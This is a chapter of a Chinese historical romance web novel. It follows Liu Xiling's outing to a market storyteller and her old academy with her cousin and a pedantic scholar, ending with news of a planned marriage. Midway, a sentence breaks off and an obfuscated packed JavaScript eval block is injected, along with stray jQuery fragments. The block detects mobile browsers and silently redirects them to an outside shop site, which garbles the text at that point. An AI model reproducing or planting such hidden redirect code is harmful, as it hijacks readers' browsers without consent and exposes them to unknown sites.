沈奇的周岁宴定在当月十六。十五这日，城中有集，洪玉瞧着天候还早，便应了沈芯的央求，放几人出去闲逛。
申时，一二客栈前已是围了一圈又一圈的人。
那活招牌胡说挽着袖子金刀大马往那长条凳上一坐，一面抖腿一面清了清嗓子，眉飞色舞的开始表演他的绝活：“那曹家公，本是尉迟帐下兵，一架打入登云梯，王爷瞧了直喊行，天都山外成就名！”
说的便驻守西北的二十万延军的主帅曹让。这位赫赫有名的军中神威虽起势于数年前的天都山一战，但青年时便为当时的肃王、当今的皇帝李炟所赏识。如今独掌延军军权，妹妹曹莹还是圣眷正浓的宠妃，曹氏一族眼看要与那文臣之首姚秉纯的姚氏平起平坐。若是这一战再叫他曹让打下来了，那日后的史官们怕是给他单独列传了！
当然，镇西之战至今仍未结束，自然与延嘉八年那场黄钧万贪墨军粮案有关。今日，胡说说的就是这一段往事当中的细节。在场所有人都熟知这段往事，比以前的龙川伯爵案要出名多了。但如前所述，胡说这人有意思的地方就在于最善在旁人不晓得之处做文章。
唱完这一段，他笑眯眯打了个哈哈，“叫小老儿说呀，人世间什么最有趣？自然还是人了！你管他家国大事还是红颜祸乱，到最后，都是一个个活生生的人，军人也是人，皇帝也是人！今儿，小老儿就要从那偷天换日的军饷案讲起,且说那曹氏军中，原本看大门的是那……”
他还没说完，一人便插嘴道：“谁要听你的平头老百姓啊！老子花钱是听这个的？”
“客官且慢，小的没说不讲那家国大事啊！小的讲的是趣事，是寻常事，好叫大家晓得，名人也拉屎，名人也睡觉，名人也有彷徨时！”
“老子要听赵子龙七进七出那种！不要听你这种阿猫阿狗的破事儿！”
这若是放在延嘉六年那时候，青年的胡说血气方刚，他怕是早就骂开了，可今日却只听他细声细气道：“这位客官，难道说，要晓得黄相为何要打这军饷的主意，不需要摸清楚他周围有些什么人？在朝中又有什么样的敌人？您不想晓得这等大事里头小人物的来龙去脉就罢了，难道也不想晓得一个人为什么要做一件事，又如何做这样一件事？那岂非听了个糊涂？”
可见五六年过去，人终是会变的。
那人还没说什么，其他人便开始了呵斥，“爱听听，不听滚啊！就你话多！”“我就要听平明百姓怎地了？”“是啊，怎地了？”
眼看着看官们要先打起来，胡说也不急，在那处笑而不语。一旁的洪思廉皱眉，忙将刘溪鸰拉了出来，又叫住了沈芯，“还在那处作甚？还不快走！”
刘溪鸰道：“没事，他们打不起来的。”
洪思廉眉毛一竖，压低了声音拽着她走：“还打起来？这不是咱们来的地方！你看有几个正经人在那处坐着的？”再一听里头还在继续问候对方祖宗，拉她俩跑得更远，“说的都是些什么话，简直不堪入耳！”
刘溪鸰道：“那些啊，左耳朵进右耳朵出不就好了！咱们斯文咱们的，他们粗野他们的呗！”
洪思廉正色：“那不成，近朱者赤近墨者黑，你能保证你不受影响？你说是不是，芯儿？”
沈芯点点头：“唔，也是不能的。”被刘溪鸰斜了一眼顿时闭嘴。
洪思廉继续道：“所以圣人曰‘礼不可废’说的就是这个理。物以类聚，你若是长期同他们在一处，耳濡目染，那岂不也是张嘴老子闭嘴娘？谁敢娶你？”刘溪鸰心道我还不信这史上就没个文人骚客骂骂街了，一瞧他那一套套的说辞便开始头疼。赶情儿这洪家人说起话来都是一个模样。
但洪思廉年纪长些，又是客人，几日下来她也算是摸得清楚他那爱说教人的脾性，连忙堆着笑，“对对对，你说的是。”
这书生自是受用，一脸的孺子可教，又强调：“你看那坐着的都是些孩童长工闲人，若是芯儿可还去得，你这么个年纪，在那处坐着也不怎么像样！何况那奶孩子的和光膀子的都坐一块，像什么话！你一个大姑娘家的你不害臊？”
怎料一旁乖巧的沈芯却突然开口：“原来五哥哥方才瞧了半天都在瞧这些？”
刘溪鸰强忍笑意：“是啊，非礼勿视喊得那么勤快你自己还看？”
书生似是没想到这俩回嘴回得如此快，一愣，当即驳道：“可见你也是个不仔细的！”瞧了瞧那胡说，“说个话东倒西歪，也不如何，这地方不来也罢。走了走了！”
三人正说着，却听那胡说又开始放声大唱他那朗朗上口的打油诗。看来这架吵赢了。
洪思廉摇头，“小聪明，但说的这些都做不得数，都是挣的嘴皮子辛苦钱罢了！但要晓得这世间万物真正的道法，还是要少听这样的东西，要听，便要听那正统的讲学布道，譬如去官学什么的，每个地方的官学才能引导其风物教化。”
姐妹俩对视一眼，得，学究这课是非上不可了。
刘溪鸰于是提议：“公子既如此说，那不如带您去咱们这儿的真书院熏陶一下？”
三人便去了那名满泰州的归锦书院。
此时院外的桥上还能听见阵阵读书声，进去不难，只是没个人带路走不得大门，而须从那后山的斜坡上翻入望角凉亭，再从凉亭穿过日常练武的场子。
可那洪学究洪君子又怎能乐意干这种大门不走走邪门歪道的事？
他严词拒绝后，正了正衣冠，一展长袖端着四方步便去那门口自荐入院。
一瞧见那看大门的小厮抬手便是一个揖作下去：“这位小哥，在下乃是白鹿书院之弟子洪氏修文，今特来此地拜访许居士，能否请您......哎哎哎！”还没说完，便被刘溪鸰一把拽走。
那洪思廉柔弱书生一枚，哪里是这丫头的对手，连拉带拽的就被拖到了那望角亭下，“他不会放你进去的，我又不是没试过！”
书生正色道：“那想必是你没好好说，你若是仔细带着诚意同他讲，我瞧那小哥也不是不明是非的人，总能......”
一抬头，少女已经爬上了那一仗多高的台，书生愣在原地。
“喂，你，”他压低了声，“你下来！”
“你上来。”她俯视着他，简短地道。
“这么高我怎么上！”书生气愤。
“芯儿，来。”她递下来一条树藤，“等她上来你再上。”
书生拍腿，“你你，你简直，简直有辱斯文有伤风化啊，有门不走你要走这！”
“不是，你没爬过树啊？”
“人家不让你进去你就翻墙啊？你懂不懂......”书生气结。
三两句话的功夫，沈芯也已经翻了上去，刘溪鸰表情微黠：“那怎么着，还是你自己回去？”她束着裤脚的腿儿挂在那玉石栏杆上一晃一晃，晃得他眼晕。
未几，三人落地，没走两步，洪思廉已经把礼记背了一半。
“你再大点声，我们就真的要被捉走了。”她抠了抠耳朵。
“那你倒是说说，我们这么大的几个人，如何不被发现？如何……”
果然听一人在前头喝道：“谁！光天化日的在这翻甚么墙？”
刘溪鸰一回头，见一个黑胖的青年一脸严肃地站在那步道中间挡住了去路。他手里拿着根长长的竹竿，上头绑了个棒槌头，这东西她倒是眼熟——便是那用来敲钟的锤子。再一打量那张略显厚实的黑脸，她立刻想到了当年在蹴鞠场上那个发足狂奔的人。
“酱缸子……亦修师兄？”
“嗯？”那青年一愣，“你谁啊？”
“我啊!”刘溪鸰快步上前，笑道，“你不认得我了？我回来了！”
青年上下打量她，想了半天，挠了挠头：“青青？你门牙换了？”
“呸！你就知道青青！”她又比划着自己以前的发型，“是我啊哈哈，咋的女大十八变你不认得了？”
青年恍然大悟：“哦是你啊四喜……”却一把被她捂住嘴。
“叫名字叫名字，给个面子，有外人在呢！”
“咳，是师妹啊！好久不见！”他顺当改了口，又瞧着一行人，一看她身后，那长袍少年低着头拍着身上的灰，身边还跟着一个半大的丫头片子，便打趣道，“怎么的这是，率众翻山越岭回来玩儿？”
一来就碰见了熟人，事情倒好办了许多。说着，谷大师兄便亲领着他们在那院子当中逛了起来。
这谷亦修长她几岁，当年她屁颠颠进书院时他就已经念了好几年，如今便专门领了书院的敲钟一职，偶尔也领着学生们念念书。
“没想到啊，如今你也算是混成半个教习了！再考个功名当个真教习岂不更好？”
谷亦修笑道：“嘿嘿，我读书可没有你的赵大公子厉害，他都不考我考什么！功名什么的也不做指望了。身子好，睡得少，能看大门，关键时刻还能瞧瞧头疼脑热，当个杂家也不差的！”
“一月给你多少银钱？”她很关心这种冷门营生的收入。
“嗳，没多少，几两。”
“够花吗？”
谷亦修摆摆手：“够吃喝便罢了，这山上也没甚脏活累活要做，还管饭，又清净，我老子娘走的早，没甚顾虑，哪里还要什么银子！”
刘溪鸰颔首：“虽不是什么肥差，但也算自在。”
“是这么个理儿，我记得你还是谁来着，当时还要和我抢敲钟的活计，你一走，后来想抢我这差事的就更多了去了，还有走后门的，但一听是许山长将我留下来只好作罢！”
“多好，整日与书院山水为伴，还有夫子学生看顾。”
“说来都怪你。你走了以后，赵珏、青青他们几个都走了。我早早都没伴儿了！”
原来一别数年，书院里头走的不只是她。那爱搓牙花子的有德教习回老家去了，那许子瓒老先生已不做山长，一年才来得几回。而赵珏一家自她离开泰州没多久，便也举家迁往了京都一带，他那女学究老娘自然也是不在的。而兔牙女孩张青青也随着父母北上去了淮西一带。
几人逛了一阵，谷亦修便领他们上了那闻鸣楼，“喏，你的闻鸡起舞楼。”便是说她念鸣成鸡的笑话，这话照例被一记飞刀眼斩断。
此处仍然是做休憩用，此刻学子们还在埋头苦读，他便放他们在此处喝茶歇息，自己去帮教习督课去了。
蝉鸣声懒洋洋，叫人睁不开眼，午后的太阳晒得她头顶发烫。刘溪鸰站在那闻鸣楼上瞧着湖面的反光出神，楼下诵读的是《道德经》，只是领读的不再是冯夫子，但孩子们念的腔调还是那样一板一眼，可她却觉得陌生。
原来小小一方书院，三五年间日月换新便是不在话下，原先翻着熟悉的院墙，闻着熟悉的竹香给她造成的那种“我又回来了”的错觉和意气风发顿时烟消云散。
这时，沈芯一句话却又将她拉回了尘封的记忆：“姐姐，这儿便是你每日来等赵家公子的地方？”姐妹俩之间，这等女儿家的悄悄话自然是没有少说的，对于赵珏这位翩翩世家公子，沈芯还并不算陌生。
“是啊。”
沈芯四下一瞧，奇道：“如此开阔之地，只你一人痴痴等他，他难道不晓得你在看他吗？”
刘溪鸰摇摇头，“他还问我，为何每回都一个人跑来这楼上站着？我说，看日出。”
不过二人缘何在此处一个在楼上等，一个在楼下奔，是有一段笑话的。一日二人都迟到了，一个在楼上往下冲，一个在楼下往里赶，谁也没瞧见谁，“梆梆”撞了个满怀，动静大的全院都晓得了，还都被夫子罚了抄书。后来，她便时常蹲在那楼上见着赵珏踏钟狂奔。
沈芯笑骂：“这傻子！大冷天的谁要在这楼上吹风看日出，闲的吗！”
刘溪鸰自嘲一笑，“还不晓得谁傻呢。”
姐妹二人倚在那美人靠上有一搭没一搭的聊着四喜丸子，一聊便没个完，一个时辰也就这么过去了。
说来，这洪思廉也还算识趣，真的跟着翻了进来也没甚怨言。方才谷亦修同刘溪鸰聊得热火朝天，他也是默不作声地带着沈芯在后头瞧瞧这个碑看看那个廊，倒是未打扰二人叙旧。这回轮到两姐妹说悄悄话了，他便下了楼去听先生讲书。两姐妹终于说得口干舌燥，他才又适时背着个手上了楼。
瞧那谷亦修不在此处，书生才摇头直言：“讲的不好，东扯西拉的，还是白鹿书院的荆先生讲得好。”心道怪不得此处许多人像是教化未开的模样，最好的书院也不过如此，而那看门的黑脸少年，他就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13058987|137641||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
更觉着不能理解了，“你那师兄年纪轻轻，就这么混着，倒是想得开。”
“他觉着好便好咯！”
书生叹气：“穷且志坚啊，他怎如此没个长性，若说是能和山长攀上关系，应当想尽办法珍惜这样的机会才是。怎得就如此妄自菲薄，甘愿做个看大门的？”
“各人有各人的去处罢了，你当人人都似你一般有那青云之志？等你当了大相公，再来说人家看大门的好不好吧！”刘溪鸰闭着眼靠在处懒懒笑着，细长的脖子挂在那栏杆上，下午的太阳晒得她又热又困，回泰州一年多没怎么出门，她倒是白净了许多，此刻的面色更是白里透红。
洪学究一怔，好一会儿才回神。
他像是头一回瞧见这样没半点志气却还理直气壮的人，被噎得好半天说不出一句话。
一晃一个下午便这样过去，末了，刘溪鸰抠了抠被蚊子咬出来的包，拍拍裤腿，“是没甚意思，咱们走吧！那集市要开了。”
一路上，洪思廉还在那处道：“我们白鹿书院的先生天下闻名，当朝副相可就是这儿出去的，赶明儿你去听听便知，保你醍醐灌顶，茅塞顿开。”
刘溪鸰一瞧，发现他是对着自己说的，便摇摇头，“太远，去不了！”
那洪思廉瞧她一眼，又道：“没事，届时邀你们一大家子来。到时候你也来！我引荐你见见那白鹿书院的山长祝先生，他与我家是至交，学问做的极好。女孩儿家多读点书我倒是赞成的，我可不是那迂腐之人。”
刘溪鸰扬眉：“……哦。”
“我回头和姑姑说一声，她会允了你。”
刘溪鸰：“呃，我答应你了？”
“答应我甚么？”
刘溪鸰：“这话应该我问你。”
“问我甚么？”他皱眉。
装傻？还是真脑子不好使？刘溪鸰默默转身：“芯儿，你饿了吗？”
沈芯乖巧点头。
“喏，前头有家打糕，去尝尝？”她坏笑。
“好啊好啊！”
“走！”她掂了掂钱袋子，薅着沈芯三两步便冲在了前头。
“喂，喂，等等我！”鞋里进了石子的学究在后头走也不是站也不是，只得狼狈地追着叫唤。
晚上，刘溪鸰洗漱完毕才得空拆信。这几日忒忙，虽然不知忙得个什么，但也是随叫随到，这信放上好几天了，却也没顾得上看。她和庐州一直保持着一月一封的信件来往，这个月来的还算迟了。
她翻了一页，“唐叔父病了？怪不得这么久。升官挺累。”
又翻一页，是舒放的。这小子前日里摔在了半山脚，遇到个采药的女神医，信中对那女神医不乏赞美之词。“啧啧，美救狗熊。情窦初开了？”
信封里还有鼓鼓一小包，打开一看，是包压扁了的桂花糖，“切，谁稀的吃你的！”
她砸吧着糖，正在那处自言自语。“吱呀”一声，沈芯摸了进来，她默默收起了信。
沈芯蹭到了她旁边：“姐姐，你的桂花糖好香啊！”
“你要吃吗？不好吃哦。”
“我拿蜜枣跟你换着吃成吗？”
“成，怎么不成。”
二人有一搭没一搭的吃着，刘溪鸰刚纳闷这大半夜的不睡觉跑来蹭糖吃，沈芯便道：“姐姐，你觉得我这表哥如何？”
“什么如何？”
这女娃也是有趣，一做什么奇怪的事情便抓耳挠腮的，她犹犹豫豫道：“嗯……就是人品样貌学识之类之类的？嗯，怎么说呢……就好比你说的赵公子啊，还有你在黄州认得的那些伙伴，你觉得我戎表哥同他们是不是差不多？”
“差不多？”
“嗯。”
“差得远了！”她哼笑一声，“你家戎表哥才高敏慧，除了赵珏，我认得的那几个野小子怕是都赶不上他半根手指头！”
“唉，我就知你不喜欢！”沈芯瞅了她半晌，终于叹了口气，又道：“但我娘怪喜欢他，还老在他跟前说你的好话。”
刘溪鸰眯了眼，“不对劲啊你，有话直说。”
沈芯绞着手，又叹了气：“你没看出来吗？我姥姥这番带我表哥来是要给你说亲事。”
“亲事？给我？”她没忍住破了音，“你不要胡说八道……”
“嘘！”沈芯急得直甩手，“当然没有！这话我还能传假的？这几日我娘跟我姥姥都提了好几次了，说你二人配得一配，你不是整天还在他跟前晃悠嘛！”她今年才八岁，但对这些宅院之事倒是耳濡目染了不少。
“我……你说的是真的？”
沈芯怒道：“我会骗你嘛！”
刘溪鸰怔愣良久。
对她而言，“亲事”这两个字还是有点陌生的。
艰难咽下一口点心，她道：“我甚么都没听见。明日早起，睡了吧！”
夜深人静，整个沈府静悄悄，有人辗转睡不着。
虽然闭着眼，但刘溪鸰的脑子却一阵阵的眩晕。这几日，她只当是家里头热闹，凑个脸熟去帮帮忙，也没甚坏处，省得叫人说她惫懒娇气真当自己是个外客，她可从未往那方面想过。但她想没想过，重要吗？
如果沈芯说的是真的，那怎么办？
“说亲？当小媳妇儿？”她喃喃自语，莫说这几日里她瞧着一大家子婆婆妈妈今日吃茶明日带娃令人头大，便是平日里舅妈操持的那些家中琐事，她帮着支应时也觉着件件烦心。
再一想，成亲岂不是要马上和人睡觉？
和谁，和那洪思廉。
“老天爷，这不能想，这不能想。”她翻了个身再度准备睡过去。
“……和人睡完之后还要做绣活做规矩，说不定还要纳鞋底子！”
“……然后前面一个框后面一个袋，挂着娃娃哼哼唧唧，哼唧完了还要防着别人抢孩子生孩子！”
她又翻了个身。
“……啊娃娃，那不就是刚满周岁的沈奇？前天我还抱着他走进走出来着，那和这学究不会生个小古板出来吧？那得是啥样！”
她浑身顿时升起一层密密的小疙瘩。
许久才甩了甩头，“小孩儿听得些闲话，做不得数做不得数。这才哪儿到那！一门亲事哪有那样容易？睡觉睡觉。”